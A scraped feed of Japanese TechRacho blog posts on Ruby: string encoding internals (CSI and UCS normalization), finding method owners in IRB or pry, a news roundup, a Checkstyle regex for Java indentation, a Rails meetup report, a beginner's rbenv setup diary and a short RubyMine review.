Quantcast
Channel: Rubyの記事一覧|TechRacho by BPS株式会社
Viewing all 1093 articles
Browse latest View live

Rubyの内部文字コードはUTF-8ではない…だと…?!

$
0
0

こんにちは、hachi8833です。

少し前に、babaさんから「Rubyの内部文字コードはUTF-8じゃないよ」とツッコミがありました。

160906_2235_yy0OnB

(追記: 上は会話の途中から切り取りましたのでご了承ください)
いきなりの展開にくらくらきましたが、babaさんはさらにたたみかけます。

160906_2243_AE1DwU

こうしたことはとっくにご存じの方も多いと思いますが、「Rubyといえば2.0以来UTF-8完全対応なんじゃないの」と勝手に思い込んでた私は脳に掌底を食らったような思いです。ああ、でもこういうことがあるから面白い。

プログラミング言語と内部文字コードの関係

まず最初に押さえておきたい点です。プログラミング言語で文字コードに関連する部分は、「文字列」「正規表現」「入出力」「コード中の文字リテラル(””の中など)」「コード中の文字リテラル以外の要素(変数名など)」「ファイル名」などが中心になります。そして文字列に関連して「ソート順」などについても考慮が必要です。

161011_1245_0Ou96h

とbabaさんが指摘しているとおり、Rubyで文字コードに関連するのはほとんどの場合標準ライブラリです。

UCS正規化

Java、C#、Python、Perl、Goなど、多くの言語では内部でUnicodeを用いています。言い方を変えれば、文字コードを固定してそれ以外のコードについては変換のみで対応するということです。このように内部表現をUnicodeの文字コードに統一する方式をUCS正規化(UCS Normalization)と呼びます【注: リンク修正いたしました】。UCSは「UnicodeUniversal Character Set」の略です。

UCS正規化を採用している言語では、たとえばStringクラスなどで原則としてその文字コードしか保存できません。たとえばJavaのStringクラス、Characterクラス、char型であれば文字をUTF-16で保存します。そのため、UTF-16Unicodeに含まれない文字(実はそれなりにあるのです)は原則として言語標準のStringクラスなどでは扱わない/扱えないことになります。

こうした言語でも、Stringクラスなどを使わずにchar[]型などに保存するなどして自力でハンドリングしたり別ライブラリで扱う分には構いませんし、その必要が生じることはいくらでもありえます。

Ruby1.9のCSI方式

これに対し、Rubyは1.9でCSI(Code Set Independent)という独自の多言語化方式を導入しました。

UCS正規化と異なり、CSI方式では特定の内部コードを仮定しません。たとえばStringクラスの変数にはその気になればUnicode以外の文字コードでも直接保存できます。つまり文字列は内部的に事実上バイナリとして保存されているのです。その代わりStringクラスで文字コード情報を持てるようにする(以下のコード例の#encoding)などの改良が行われました。

実装が複雑になることもあり、CSI方式を導入した言語はRuby以外にはなかなかないようですが、多様性に富んだチャレンジングな多言語化方式とされています。なお、Ruby 1.9でオレオレ文字コードを導入してみた豪の者を見つけました。

また、1.9ではマジックコメントが導入され、スクリプトファイルの冒頭(冒頭がshebangの場合は2行目)に# coding: euc-jpなどの方法でファイルのエンコーディングを指定できるようになりました。

#!/usr/bin/env ruby -
# coding: utf-8
str='ab漢字'
puts str[2]
puts __ENCODING__
puts str.encoding

161011_1500_pn3QyE

ただし1.9の場合、マジックコメントを指定しない場合のデフォルトのファイルエンコーディングはUS-ASCIIです。UTF-8ではありません。

#!/usr/bin/env ruby -
puts __ENCODING__

161014_2315_pFG4MN

Ruby 2.0での文字コード周りの変更とその後

Rubyが2.0になってから、このマジックコメントを指定しない場合のデフォルトのファイルエンコーディングがUS-ASCIIからUTF-8に変更されました

#!/usr/bin/env ruby -
puts __ENCODING__

161014_2321_vty3fY

2.0でのデフォルト文字コードの変更はもちろん大きなものであり、他にも文字コードについての変更点はありますが、CSIの部分に関しては引き続き変わっていません。つまり2.0の文字列は1.9のときと同様、内部では事実上バイナリなのです。

Rubyでは、1.9でのCSI導入、2.0でのデフォルトのファイルエンコーディングのUTF-8への変更という段階的な方法で多言語化を切り替えてきました。2.0以降、これらの点について変更はありません。

私がRuby 2.0からUTF-8完全対応だと思い込んでいたのはいろんな意味で誤りでした。後述するようにRubyは1.9より前からUTF-8を含む複数の文字コードを扱えましたし、2.0でUTF-8になったのはデフォルトのファイルエンコーディングです。

参考: Ruby 1.8以前の場合

Ruby 1.8以前は文字列をデフォルトでASCII単位でとして扱い、文字列メソッドもバイト単位で動作しました。たとえば1.8でstr="ab漢字"の後でstr[2]の値を取り出すと0xB4(EUCの「漢」の最初のバイト)になりました。

str='ab漢字'
p sprintf('%#x', str[2])

このkanji.rbはEUC-JPで保存されているとします。

161011_1321_mpCxn4

1.8以前でこうしたスクリプトを実行するには、スクリプトファイルの文字コードに応じた-Ku(UTF-8)や-Ke(EUC-JP)や-Ks(Shift_JIS)などのオプション指定が欠かせませんでした(2.0から非推奨)。指定したオプションは$KCODEで確認でき、正規表現は$KCODEに応じて文字数の数え方が変わりました。文字列ごとに異なる文字コードを指定することはできませんでした($KCODEは1.9で廃止)。

注意

UCS正規化とCSIには、それぞれメリットとデメリットがあります。どちらが優れているというものではなく、ユースケースによって変わります。

一般にUCS正規化では文字コードの実装を一本化できますが、Unicodeにない文字などは標準的な方法では直接扱えないので別のライブラリなどで対応する必要があります。

CSIでは標準的な方法で複数の文字コードを同時に扱うことができますが、正規表現の文字数の数え方などを文字コードに応じて実装側で切り替えるなど、実装が複雑になることが考えられます。

161013_1528_ijxdNv

参考文献

今回の記事では『プログラマーのための文字コード技術入門』に大変お世話になりました。

978-4-7741-7087-9

同書の裏帯に書かれているように、特定の文字コード体系を押したりせず、評価を読者の判断に任せている点に好感が持てます。同書ではRuby 1.8と当時最新だったRuby 1.9を比較しており、決して新しい内容ではありませんが、今回取り上げたRuby 1.9でのCSI導入についても詳しく解説されていて、現在でも読む価値のある良書です。Unicode、UTF-8が万能ではないということがわかったのは自分にとっては大きな収穫でした。

文字コードはどこまで行っても奥が深いので、理解の甘いところがありましたらTwitterで私までお知らせいただけると幸いです。

関連記事


RubyのIRBやpryでメソッドの定義元をすっと調べる方法

$
0
0

こんにちは、hachi8833です。

先週弊社で行われたコードリーディング勉強会で、講師のmorimorihogeさんが終盤で教えてくれたIRBpry向けのテクニックをご紹介します。勉強会本編も後日記事にいたしますのでご期待ください。

メソッドの定義元を調べる

任意のオブジェクトの#methodsメソッドを呼ぶと、以下の様にそのオブジェクトで使えるメソッド一覧のSymbol配列を取得できますが、そこで見つけたメソッドが実際にはどのクラスやモジュールで実装されているのかをその場で知りたいことがあります。

161014_1844_fsFEBv

実は.method(:メソッド名).ownerで簡単に取得できます。Methodオブジェクトを取ってきて情報を参照しているだけです。

161014_1849_RiC8Nk

以上はRubyの場合ですが、RailsコンソールでももちろんOKです。

161017_1109_FpRhwL

161017_1109_HN6hUg

定義元は.ownerを付けなくてもわかる場合もありますが、以下のようにメッセージが長くなると読み取りが面倒なので付けておくのがよいでしょう。

161017_1112_x1yEic

参考: Railsコンソールをpry化

既に皆様もお使いになっていると思いますが、pry-railsを導入するとRailsコンソールで標準のIRBの代わりにpryを使えるようになります。

RailsなどのGemfileに以下のようにpryを追加し、Railsのホームディレクトリでbundle installを実行することでdevelopment環境とtest環境のRailsコンソールがpry化されます。今回の記事とは関係ありませんが、ついでにpry-doc、pry-byebug、pry-stack_explorerもインストールしてしまいましょう。

group :development, :test do
  gem 'pry'
  gem 'pry-rails'
  gem 'pry-doc'
  gem 'pry-byebug'
  gem 'pry-stack_explorer'
end

Railsと関係なくpryをインストールするには、gem install pryを実行します。

morimorihogeコメント

morimorihogeです。最近補足コメントの人化してますね。Civ6が待ち遠しいです。

週一の勉強会のネタが切れてきたのでGemのコードリーディングについての話をしてみたのですが、その中で「そういえば、better_errorsとかを使ってデバッグコンソールを取った時、オブジェクトにはアクセスできるけどメソッドの定義元が分からないから調べられると便利だよなー」とふと思って調べてみたのがMethodオブジェクトでした。

Javaとかだとリフレクション系の機能のドキュメントを眺めていくという方法もありましたが、Rubyは設計思想的になんでもオブジェクトな思想なので「#methodsでメソッド一覧が取れるなら、methodオブジェクトもあるよねJK」ということで調べたらあったぜ、という流れです。

僕自身はRubyのコアの方にはそれほど詳しくないのですが、言語の設計思想や他の言語との比較なんかがなんとなく頭に入ってると「この言語はこういう設計だから、この問題はこの辺を調べれば解決できるはず」という最初の取っかかりができるので、問題解決が早くなることもあります。
仕事でコードを書いていると即物的な解決策を求めてしまいがちですが、たまには言語自体の勉強なんかをする機会も持つとプログラマとしての幅が広がるのではないでしょうか。

とか偉そうなことを書いてみました。2〜3個くらいのプログラミング言語をそれなりに使えるようになるくらいまで習得しておくと、比較しながら言語の特徴を理解できるので割とオススメです。

関連記事

Rails/Ruby界隈ウォッチ(2016/10/19)ObjectSpaceモジュール活用法、Capybara統合、コミッターを撮影するソフトほか

$
0
0

こんにちは、hachi8833です。もういくつ寝るとRuby 2.4が出るのかな。10月中旬の界隈ウォッチをお届けします。

RubyFlow

160928_1638_XvIP4h

Mac OS X + lldbでRubyをデバッグする

従来のgdbはバージョンが古かったうえに、MarvericsからOS XのXCodeに含まれなくなったので、XCodeのlldbを使ってRubyプログラムをデバッグする方法を紹介しています。lldbはLLVMベースのデバッガです。

Ruby Facets Episode 3: Bundler 1.13, sources, Elm & Rails, webpack, Rails & Capybara

リンク先Ruby Facetsは英語音声付きのニュースサイトです。5分間と短いので、来年のRubyKaigiに備えてPodCastで英語リスニングを鍛えてみるのもいいかもしれません。

ruby_facets

Ruby Facets第3回では、「JavaScriptベースの関数型言語ElmをRailsに追加してみた」や、「RailsにCapybaraが統合される」といった記事が紹介されています。CapybaraがRailsにmergeされる日も遠くないようです(下図)。

161019_1327_KZmb9L

161019_1947_TeGMYf

Bullshit-Free Review #2

160928_1639_vdl3Ju

ObjectSpaceモジュールでRubyアプリケーションの状態を調べる

Rubyの組み込みライブラリであるObjectSpaceモジュールを使ってRubyプログラムの状態を調べる方法を紹介しています。かなり便利そうです。

プログラム内でオブジェクトの個数を種類ごとに多い順に表示したり(下図)、オブジェクトに直接アクセスしたり、ObjectSpace.memsize_ofでメモリ使用量をチェックしたり、エイリアスメソッドの一覧を取得したりなどのテクニックについて触れています。一部のコード例はIRBやpryでは動かないとコメントにあります。

161019_1120_z4wQ4G

データ量の多いPostgreSQLでロックが発生する操作、しない操作

PostgreSQLでロックによるダウンタイムを引き起こさない操作と、ロックの発生する操作を紹介しています。カラムの追加は原則ロックしないのに、デフォルト値のあるカラムやnon-nullableカラムを追加するとロックするなど、PostgreSQLの挙動がなかなか面白いです。バージョン書いてませんが。

Ruby Weekly

160928_1641_BubfCD

RSpecのmetadataを活用する

RSpecのmetadataを使って、標準の:rack_testに変えてJavaScriptドライバを指定したときのRSpecの振る舞いを自動的に変更する方法や、development/testモードでメールが誤って送信されないようにする方法などを紹介しています。

metadataをいじるとテストへの影響が大きいので、テストで変更した部分はそのままにせず元に戻し、他のテストに影響しないよう注意する必要があるとのことです。著者もmetadataの乱用を避け、gem化してもいいぐらいに一般化できる場合にのみmetadataを追加するようにしているそうです。

英語記事はrosetta.netブログからの転載です。

Ruby trunk

160928_1649_IkaWyb

こちらについては卜部さんの連載記事の方が断然ディープかつまとまってますね。当事者なので当然ですが。

その中で「#12353 Regression with Marshal.dump on ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-darwin15」がなかなかホラーなのでメモしてみました。

(前略)というわけでMarshal.dumpが壊れないようにと修正が一旦は入ったんですが、それはそれで悪影響が出たので一旦revertされてしまったという現状です。比較的新しいバージョンのrubyとActiveSupportになってれば問題が起きない現状になっていますが、特定の組み合わせでは問題が継続中のようです。
最近のruby-core (2016年9月)より

Hacker News

160928_1654_q6srdR

JavaScriptなくてもいけんじゃね?

ブラウザCSSの表現力が近年えらく向上しているおかげで、従来JavaScriptで実装していた機能がものによってはCSSだけであっさりできてしまうようになっていることはご存知のとおりです。新し目のプロパティをデモしているサイトなのですが、見せ方がうまいですね。しかも全部CodePen化されているのでその場でお試しもできて便利です。

161019_1812_9s9gBg

ところで例の中でフォームでのバリデーションを扱っているので思い出しましたが、ブラウザ自身によるバリデーションメッセージが、ブラウザごとに微妙に違っているのは割と困ったことですね。特に日本語などのローカライズされたメッセージでものによっては違いが甚だしくなったりします。

Github Trending

160928_1701_Q9dJIU

mroth/lolcommits

Gitにcommitした瞬間にコミッターの顔写真を撮るというRubyプログラムですが、ジョークというより精神的なテロに近いですね。私ならコミット写真晒された瞬間にいさぎよく身を投げます。

68747470733a2f2f6c6f6c636f6d6d6974732e6769746875622e696f2f6173736574732f696d672f67616c6c6572792e6a706567

今週は以上です。

関連記事

Checkstyleと正規表現でコーディングスタイルをチェックする

$
0
0

こんにちは、hachi8833です。今回はBPSアプリチームkawawaさんと共同でJavaコードのスタイルチェックに使う正規表現を作ってみました。その過程でちょっといい正規表現テクニックも会得できましたので、記事の最後でご紹介します。

背景

アプリチームではAndroid StudioをIDEとして採用しています。また、アプリチームのJavaコーディングスタイルに違反している部分のチェックを自動化し、随時チェック内容を調整しています。

アプリチームのJavaコーディングスタイルから以下を抜粋しました。太字部分がポイントです。コード例のショットには赤で補助線を追加しました。

メソッド宣言、呼び出し時の引数リストの折り返しは8スペースインデント、または、並列インデントする。

161021_1404_yuApjm

2項演算子の折り返しは8スペースインデント、または、並列インデントする。ただし、if文の条件式第1階層では並列インデントを使用してはならない。(ステートメントの開始列から丁度4スペースとなり、紛らわしいため。)

161021_1404_OiEXdw

惜しいことに、if文の条件の折り返し行インデントについてはAndroid Studioのオートフォーマットで細かく設定できません。たとえば以下のif文をAndroid Studioでオートフォーマットすると、条件折り返し行とブロック内ステートメント行のインデントが同じ深さになってしまいます(注: Android Studioの Code Style設定によります)。

if (first
    * second                 // ☓並列インデントだと下と並んで見づらい
    / third
    < 10) {
    // some processing here  // ブロック内ステートメント
    // some processing here
    // some processing here
}

if文の条件の折り返し行に適用したいのは、以下のスタイルです。

if (first
        * second             // ○並列インデントではなく8スペースインデントにする
        / third
        < 10) {
    // some processing here  // ブロック内ステートメント
    // some processing here
    // some processing here
}

Android Studioのオートフォーマットを実行するかどうかは開発者に任されており、こうしたスタイル違反も含めて最終的にCheckstyleで詳細に検出し、手動で修正する運用になっています。なので、Android StudioでできないスタイルについてはCheckstyleでカバーすることになります。

CheckstyleはソースをGitLabにpushしたときにGitLab CI上で自動実行され、結果がSlackチャンネルに流れますが、ローカルのAndroid Studioでも実行できます。

今回必要なのは、上のスタイル違反をCheckstyleで検出するための正規表現です。なお、Checkstyleの設定項目については公式サイトをご覧ください。

使ったツール

正規表現の作成にはrubular.comを使ってみました。表示がとても見やすく、チェック結果のパーマネントリンクを作れるのでやりとりしながら修正するのに便利ですが、Rubyの正規表現を使っているので、正規表現の方言を使わないよう注意する必要があります。

161020_1116_PAXp7R

正規表現の修正過程

最初は以下の正規表現にしてみました(rubular)。

^(([ ]{4})\2*)if \([^\n]+(\n(\1([ ]{4})[^ ][^\{\n]*))+\)[ ]\{

161020_1123_apDebp

当初はCheckstyleの正規表現ライブラリとrubyの正規表現で微妙に挙動が違っているのかと思いましたが、実は直後のif文がネストしている場合を誤検出していたのでした(rubular)。量指定子(quantifier)の*+に最小一致の?がなかったので欲張りマッチになってしまいました。

161020_1839_jIbuiL

同じ誤検出が他のパターンでも見つかりました。

161020_1134_ezGEaF

インデントのスペースを4と仮定していたので、スペース1つの違いについても検出できていません。飛び込み参加の悲しさで、他にも仕様の理解に不備があったことが後々わかりました。

その後kawawaさんが修正を重ね、最終的に以下のようにもっと簡潔な正規表現になりました(rubular)。

^( *)if \([^{\n]*\n(\1 {0,7}|\1 {9,})[^ ]

kawawaさんによる修正のポイント

  • if条件末尾の「) {」をチェックする\)[ ]\{はなくてよいので外した
  • ifの前のインデントスペース数は別途チェック済みなので、インデント数が4の倍数であるかどうかを(([ ]{4})*?)でチェックしなくても、\1でキャプチャできるように( *)と簡略化できる
  • if文の条件式第1階層のインデントはスペース8つのみが合格、それ以外が不合格なので、(\1 {0,7}|\1 {9,})と書けばスペース数が8以外の場合を簡潔にチェックできる

注意

上の正規表現は条件内に文字列リテラルが含まれないことが前提となっています。たとえば"\/:*?"<>|.{}[]"のような文字が文字リテラルとして条件に含まれていると、正規表現内の[^{\n]が文字列リテラルの{のところで誤動作する可能性があります。

チームでは条件内に文字列リテラルを書くことはほぼないとのことです。

まとめ

この「([文字]{0,7}|[文字]{9,})」のような書き方は他でも応用が効きますね。文字が特定の個数でない場合を簡潔にチェックできます。

お疲れさまでした!

追記

記事で触れたGitLab CIからSlackチャンネルへの通知周りを実装してくれたのは、先日TechRachoにインタビューが掲載されたyoshi.kさんです。そのあたりを今後記事にしたいと思いますのでご期待ください。

関連記事

Ruby on Rails Tech Meetupに参加してきました!(2016/10/24)

$
0
0

こんにちは、hachi8833です。

昨日はクラウドワークスさんが主催する「CrowdWorks Tech Meetup」の第2回である「Ruby on Rails Tech Meetup」というイベントに、BPS Webチーム部長のmorimorihogeさんと私で参加いたしました。

161025_0909_rlbfsh

今さらですが、CloudではなくCrowdなんですね。

会場は、久方ぶりの恵比寿ガーデンプレイスの真ん中辺のビルの6Fです。

ビジネスマンらしく19:00より前に折り目正しく到着しましたがやけに人が少ない…?と思ったら、本日のプレゼンターの1人kamipoさんが急病のため開始が30分後になったそうです。ズコー。

それなら何かお腹に入れておけばよかったす。会場でいただいたこの2粒のチョコだけが頼り。おなか減ったよー。

slack-for-ios-upload

morimorihogeさんは「だったらそれまで仕事するぜw」と、Gitのマージに悩むebiさんをリモートでサポート。

今度から夜の勉強会にはスニッカーズの一本も懐に用意してから臨むことにしましょう。マジで身を助けます。一本余分に用意しておいて隣でお腹をすかしているお嬢さんにさりげなくおすすめしたりとか。

snickers

そんなこんなで開始時間を迎え、そのときになって初めて、プレゼンターにあの@joker1007さんがいることに気が付いたのでした。

161025_0905_ibny0j

いよいよ開演(この字でいいのかな)。以下、私が割と好き勝手に書いてますので悪しからず。

当日の雰囲気は#cwmeetupで味わえます。全然関係ない大洗女子学園修学旅行とかも混じってますので適当に除けるか、Togetterまとめをどうぞ。普通Togetterにしますよね。

Twitterでの半畳はそんなにありませんでしたが、濃い内容が多かったこともあっておそらくみなさん手元のメモに忙しかっただけだと思います。実際は大いに盛り上がりました。

「Upgrade Forkwell to Rails5 the faster」(@sinsoku_listy

161025_1423_ece7gb

発表資料アップグレードのブログ

Rails 5がリリースされたその日の朝、相撲の立会いのごとく社内Railsアプリの5へのアップグレードを開始し、当日中に完了させたという泣かせる話です。

インフラエンジニアの朝は早い。RCのときからコツコツとgemをアップデートし、パッチを試し、プルリク投げてその日をじっと待つという、内助の功ここに極まれりといった感があります。褒められもせず、苦にもされず、そういう人になれたらいいな。

リリース直前になるとどどっとドキュメントの更新が入るというあたり、臨場感ありますね。どれだけ周到に準備を重ねても、本番は予想どおりなにがしかのハプニングに見舞われるのですね。

「まだRailsで消耗してるの?」(@h3_poteto

161025_1434_0xjbs1

発表資料

スライドのしょっぱなに映ってる方がGo言語のTシャツ着てるのが個人的にポイント高かったです。

最近、PhoenixというRailsにとてもよく似たフレームワークがじわっと注目を集めつつあるようです。そのPhoenixはElixirという、これまたRubyととてもよく似た言語を採用しています。Elixirの生みの親はJosé Valimで、Phoenixの開発メンバーでもあり、Railsコアコミッターを長年務めた方なので、RubyやRailsとの縁が非常に深いと言えますね。

elixir_logo

そういえば今年のRubyKaigiの会場でもElixir本が何冊も販売されていたのを目撃しました。発音はきっと「エリクサー」なんでしょうが、私の心の中でだけ「エリクシール」とフランス語っぽく呼んでいます。ErlangもついEalangと書きそうになってしまいます。

「ところでみなさん、Railsつらくないですか?ぼくはつらいです」は定番の賑やかしですねw

庭いじりと同様、顧客のリクエストが長年に渡って降り積もって生い茂ってくるとメンテが大変になるのは、どのフレームワークも最終的には大きく変わらないのかなと思いました。

PhoenixにはSprocketsないんですってよ、奥さん。Railsの特にSprocketとかSprocketとかSprocketとかで苦労している人には耳寄りなお話かと思います。

他にも非同期処理に強いとか、syoryukenのコミッターと戦わなくて済むとか、うれしいであろうポイントが目白押しです。

Elixirはコンパイラ言語であり、Erlangという並列・並行処理にお強い仮想言語にコンパイルされてErlangの仮想マシン上で動作します。なので当然並列・並行処理を得意としています。Live Reloadも、JSやCSSのトランスパイルまで含めてやってくれるらしいです。

「何だまた仮想マシンかよ」って思っちゃいけないんですよね。

その一方、morimorihogeさんが懇談会で他の方と「RailsというかRubyはコンパイラ言語じゃないので、どんなに古くても動いてさえいればソースが必ず見えるというのが最後の拠り所ではありますねーw」というようなやりとりをしていたのも思い出しました。

本番のソースがなくなるって、もしかしてざらにあるんでしょうか?

「 The State of Sprockets 」(@_yasaichi

161025_1440_us6dvj

発表資料

前の発表を絶妙に受けたSprocketsの話題です。_yasaichiさんは最新のSoftware Design誌にも寄稿されたそうです。

Sprocketsがv4でSource MapsとES6をサポートなど、細かな情報が満載でした。何かと恨みを買いがちなRailsのSprocketsですが、@_yasaichiさんも「Sprockets捨てたんですか?」の質問に「いや、離れただけですw」とさらりと爆弾発言。

161025_1124_eqhx51

Railsで新し目のJavaScriptライブラリを使おうとするといらぬ苦労をさせられることが多いようで、自力で縫い付けると後で困ったことになりそうだけど、さりとてSprocketsでどこまでがんばるかというバランスも悩みどころ、みたいな印象でした。

「巨人でない我々のためのバッチ基盤」(@joker1007

161025_1723_sx9mf7

発表資料RukawaのQiita記事

最近CTOデビューした@joker1007さんです。なぜかQiitaのプロフィールではまだ「フリーランス」となっていますが、近々更新されるでしょう。

RubyKaigi 2016@京都にもお見えになっていたのですが、当時私がjoker1007さんの素顔を知らなかったので完璧にすれちがってました。

joker1007さんがブラウザでめっちゃ大量のタブを開いているところが画面に映り、どよめきが生じました。

時間のかかる複雑なバッチ処理を書くのはどんなシステムでも悩みの種ですが、joker1007さんはJavaだのPythonだのJSONだのyamlだのではなく、そしてRakeでもなく、「Rubyで書きたいんだよぉおお、クラスが使いたいんだよぉおお」とばかりにRukawaというワークフローエンジンのgemを作ってしまいました。

なお最近ではDigdagというワークフローエンジンが有名なんだそうですが、「それがあったらこんなことしなかったYO!」だそうです。

面白かったのは、Rukawaの開発ではグラフ理論に登場するDAG(有向非巡回グラフ: Directed Acyclic Graph)を応用していた点です。

161025_1133_mzoso4

一言で言うと「一度出たら元のところには戻らない」という特徴を持つグラフ(←専門用語)です。「知は力なり」ということわざを久しぶりに思い出しました。

DAGのソートのために、Rubyのtsortというトポロジカルソートのライブラリも使ってるそうです。

Rukawaでは、並列処理などをRubyでがんばるのではなく、得意なことは得意なライブラリに振って振って振りまくる方針で開発したようです。

高級なRakeまたはシェルスクリプトのような位置づけなのかなという印象でしたが、Rubyで書きたいという一念でここまで作るあたり、joker1007さんの面目躍如たるものがありました。

参加を終えて

終了後morimorihogeさんとの雑談の中で、細かくは覚えていませんが「フロントのJS化が進むとRailsはAPIサーバー的な位置づけを模索することになるんだろうけど、RailsはAPIサーバーとしてはちょっと大げさかもね」「でも複雑なビジネスロジックを書くならRuby/Railsで書く方がgolangとかElixirとかで書くよりは楽だし、後の保守できる人の探しやすさという点でも有利なんじゃないかな」というような見解を述べていました。

161025_1625_lirvm9

個人的には、フロントがJSになると開発の分担が進み、Railsの一体感から遠ざかってしまいそうだなと思えました。フロントとAPIでリポジトリが別になるとそれはそれで面倒そうだし。

懇親会

終わった後の懇親会も大いに盛り上がりました。空きっ腹だと何を食べてもおいしいんですね。私は頑張って缶ビールは一つだけにしておきました。

BPSともお付き合いの長いイケメンコーダーの@masa_iwasakiさんもやはり会場に来ていて、morimorihogeさんらとともに盛り上がりました。

一つだけ。懇親会の途中のLightening Talkでスクリーンに高級寿司の写真がでかでかと映ったら、そりゃ寿司が出るのかと思うじゃないですか。ズコー。

食べ物写真を忘れてたので、morimorihogeさんとjoker1007さんのツーショットを代わりにどうぞ。ご快諾ありがとうございました!>joker1007さん

joker1007_morimorihoge

未経験大学生によるRuby入門日誌-パート1

$
0
0

吸気

どうもこんにちは片山です。最近インタビューにちょっと飽きてきたので一応情報系の学部にいるのですが、自由自在に操れる言語がHQ9+しかないことに気づいてしまったので、たまには実用的なスクリプト言語を勉強してみようということでRubyのお勉強を始めることにしました。本当はPythonのほうが興味あります

Rubyの会社でこんな記事を書いているものの、なんとなく肩身が狭いので最初のうちは独学でやっていくことにします。

少し調べてみただけでもRubyの入門ドキュメントは良さげなものが山のように転がっていたので、詳細で丁寧な説明はそちらに譲ることにして、ここではあくまでIT苦手な情報系大学生による勉強日誌・日記のつもりでやっていこうと思います。

燃焼

セットアップ編

  • さて、MacでRubyをいじりたいときにはXcodeというものとHomebrewというものをインストールしなければならないようです。
    未経験と言いながらどちらもインストール済みなので今回は端折りますが、念のため以下のコマンドだけ実行します。
    $ brew update
    

    久しぶりだったのでちょっと時間かかりましたが無事に終了。

  • お次は以下のコマンドを打っていきます。
    $ brew install ruby-build
    $ brew install rbenv
    
  • PATHを設定します。正直何やってるかよくわかりませんがこういうものだと思ってコピペしていきます。
    $ echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> .bash_profile
    $ echo 'eval "$(rbenv init -)"' >> .bash_profile
    $ source .bash_profile
    
  • rbenvを使ってRubyをインストールしていきます。rbenvのイメージとしてはPythonにとってのpipとか、Haskellにとってのcabalのようなものなのでしょうか。未経験なので右も左もわかりませんが、兎にも角にも慣れだと思って進めていきます。
    $ rbenv install -l
    

    これでインストール可能なRubyのバージョンが出てきます。が、あまりに沢山のバージョンがあって目移りしてしまったので、なんとなく良い感じの位置に見えたバージョン2.3.1をチョイスしました。

    $ rbenv install 2.3.1
    Installed ruby-2.3.1 to /Users/筆者のユーザー名/.rbenv/versions/2.3.1
    

    コーヒーを買いに行こうかどうしようか悩んでいる間にインストールが終わってしまいましたので、息抜きを後回しにして進めていきます。

  • これでインストール終わり?チェックしてみます。
    $ ruby -v
    

    とやって「ほげほげ2.3.1ホニャララ」とか表示されるのを期待していましたら

    $ ruby -v
    ruby 2.0.0p648 (2015-12-16 revision 53162) [universal.x86_64-darwin15]
    

    と出てきてしまいました。
    せっかくなので、僕の淡い期待が裏切られるのにかかった時間を調べてみました。

    $ time ruby -v
    ruby 2.0.0p648 (2015-12-16 revision 53162) [universal.x86_64-darwin15]
    
    real 0m0.059s
    user 0m0.024s
    sys 0m0.025s
    

    どうやらrbenvを使ってインストールしたはいいものの、今のままだとOS X標準のRuby(2.0.0)が動作してしまうみたいです。
    調べてみたところ、以下のコマンドを実行すればよいとのことで早速やってみます。

    $ rbenv global 2.3.1
    
  • 次にまたRubyのバージョンを確認してみます。
    $ ruby -v
    ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-darwin15]
    

    期待したとおりの反応をしてくれました。

    $ rbenv global [バージョン]
    

    とやってあげることで使いたいバージョンに切り替えることができるみたいですね。

ここまででひとまずはRubyのインストールが完了しました。(多分)

ハロワ編

お決まりのハロワです。どんな言語も「こんにちは」から入っていくものです。Rails?いえ、知らない子ですね。

  • hello.rbという名前のファイルを作ってハロワしてみます。
    print("Hello,World!¥n")
    

    からの

    $ ruby hello.rb
    

    無事、ハロワ出来ました。

  • よし、次にいこう!と思い、hello.rbの内容をコメントアウトして先に進もうとしたところRubyのコメントの付け方がわからないことに気づきました。--とか;;とかやってしまって己の偏屈さに参ってしまいます。調べればすぐ出ますが、Rubyでのコメントは
    #コメント
    

    =begin
    コ
    メ
    ン
    ト
    =end
    

    が使えるようです。

  • コメントアウトのやりかたがわかったところで、もっとhello.rbをいじっていきます。入門サイトを適当に回っていると、printの次はputsというメソッドを使ってみましょうということなのでputsを使ってみます。正直「メソッドってなんやねん。関数となにが違うねん」と思っていますが、調べてみてもよくわからないので、細かいことは気にせずに先に進んでいきます。
    printメソッドが、それ単体では改行を含まないのに対してputsメソッドでは改行も勝手に入れてくれる、ということなんでしょうかね。
    puts("H")
    puts("e")
    puts("l")
    puts("l")
    puts("o")
    puts(",")
    puts("W")
    puts("o")
    puts("r")
    puts("l")
    puts("d")
    puts("!")
    

    我ながらクソつまらないことをしてしまったと思っていますが、折角ぺちぺち貼って書いたので載せてみます。ちなみにちょっと気になって試してみたのですが、puts("hoge¥n")のようにしてみても改行は二重にはならないみたいです。
    ふと思ったのですが、Rubyのprintメソッド、putメソッドはHaskellでいうところのputStr関数、putStrLn関数にそれぞれ似たような役割なのかなと。どうでもいいですね。

  • 次は四則演算でも……と思っていたのですが、pメソッドなるものの存在が判明したのでまだまだハロワをやっていきます。
    p("Hello,World!¥n")
    

    実行して出力を見てみたら、Hello,World!¥nがそのまま出てきていました。一瞬僕のミスかと思ったんですが、どうやらそういうことをしてくれるメソッドらしく、他にもちょくちょく使えそうな機能がついているみたいです。

排気

もう少しやってみようかとも思ったのですが、ハローワールドやって満足してしまうタイプの人間なので、今回はここまでということにします。

関連記事

RubyMine+Go言語プラグインが超快適だった話

$
0
0

こんにちは、hachi8833です。今回はRubyMineの簡単な紹介に続いてRubyMineにIntelliJのGoプラグインを導入した話を書きます。

RubyMineについて

RubyMine、いいですよね。Ruby on RailsのIDE(統合開発環境)として非常に有名です。

少々メモリとCPUパワーは使いますが、強力なインデックス化機能だけでもお金を払う価値があると思います。

161101_0831_vaxiue

BPSのWebチームでは、部長のmorimorihogeさんを始めとしてRubyMineの愛用者が何人もいます。

強力なインデックス化機能

JetBrains製品全般に言えることですが、関連するライブラリを自動検索してインデックス化する機能が信じられないくらい強力です。

最初に起動してライブラリのパスを指定すると(場合によってはそれすら不要で)、必要なライブラリの内容を検出してくれます。最初は少々時間がかかりますが、インデックス化の優先順位を下げることもできます(図)。

161101_1701_zcrtio

後はコードのクラスやメソッドにカーソルを置いてNavigate > Declaration (Macのショートカットはコマンド+B、以下同文)を実行すれば、ただちに関連ライブラリが表示されます。ジャンプ先が複数ある場合は図のように選択肢が表示されます。Navigate > Back(コマンド+[)を実行すれば即元に戻ります。

161101_1740_vwreqk

繰り返しますが、RubyMineの全自動インデックス化機能だけでもお金払う価値あると思います。

私もSublime時代はコードジャンプのためにctagsとかを導入してみたりしましたが、正直かったるいの一言でした。

リソースがこれだけ豊富になった時代に、何で人間様がインデックス作れと指示しなきゃならんのかと。あれこれ設定しなければいけないのも時間を無駄にした感。

